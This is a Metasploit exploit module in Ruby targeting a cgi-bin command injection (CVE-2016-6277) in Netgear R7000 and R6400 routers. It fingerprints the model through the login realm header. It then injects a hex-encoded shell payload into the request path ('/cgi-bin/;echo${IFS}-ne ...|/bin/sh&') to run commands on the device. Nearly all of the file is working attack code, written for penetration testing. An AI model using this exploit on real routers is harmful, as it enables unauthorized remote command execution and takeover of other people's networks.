metasploit-framework/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'                 => "Netgear R7000 and R6400 cgi-bin Command Injection",
      'Description'          => %q{
        This module exploits an arbitrary command injection vulnerability in
        Netgear R7000 and R6400 router firmware version 1.0.7.2_1.1.93 and possibly earlier.
      },
      'License'              => MSF_LICENSE,
      'Platform'             => 'unix',
      'Author'               => ['thecarterb', 'Acew0rm'],
      'DefaultTarget'        => 0,
      'Privileged'           => false,
      'Arch'                 => [ARCH_CMD],
      'Targets'              => [
        [ 'Automatic Target', { } ]
      ],
      'References'           =>
        [
          [ 'EDB', '40889'],
          [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=305'],
          [ 'URL', 'https://www.kb.cert.org/vuls/id/582384'],
          [ 'URL', 'http://kb.netgear.com/000036386/CVE-2016-582384'],
          [ 'CVE', '2016-6277']
        ],
      'DisclosureDate' => 'Dec 06 2016',
      'Payload'        =>
        {
          'Space'       => 1024,
          'DisableNops' => true
          #'EncoderType' => Msf::Encoder::Type::CmdUnixIfs,
        }
    ))

    register_options(
      [
        Opt::RPORT(80)
      ], self.class)
    end

  def scrape(text, start_trig, end_trig)
    text[/#{start_trig}(.*?)#{end_trig}/m, 1]
  end

  # Requests the login page which discloses the hardware, if it's an R7000 or R6400, return Detected
  def check
    res = send_request_cgi({'uri'=>'/'})
    if res.nil?
      fail_with(Failure::Unreachable, 'Connection timed out.')
    end
     # Checks for the `WWW-Authenticate` header in the response
    if res.headers["WWW-Authenticate"]
      data = res.to_s
      marker_one = "Basic realm=\""
      marker_two = "\""
      model = scrape(data, marker_one, marker_two)
      vprint_status("Router is a NETGEAR router (#{model})")
      if model == 'NETGEAR R7000' || model == 'NETGEAR R6400'
        print_good("Router could be vulnerable (#{model})")
        return CheckCode::Detected
      else
        return CheckCode::Safe
      end
    else
      print_error('Router is not a NETGEAR router')
      return CheckCode::Safe
    end
  end

  # Mostly from ddwrt_cgibin_exec.rb, it's essentially the same exploit
  def exploit
    is_vuln = check
    cmd = payload.encoded.unpack("C*").map{|c| "\\x%.2x" % c}.join
    str = "echo${IFS}-ne${IFS}\"#{cmd}\"|/bin/sh&"

    print_status("Sending encoded command...")
    vprint_status("Encoded command: #{str}")
    send_request_raw({ 'uri' => "/cgi-bin/;#{str}" })

    print_status("Giving the handler time to run...")
    handler

    select(nil, nil, nil, 10.0)
  end
end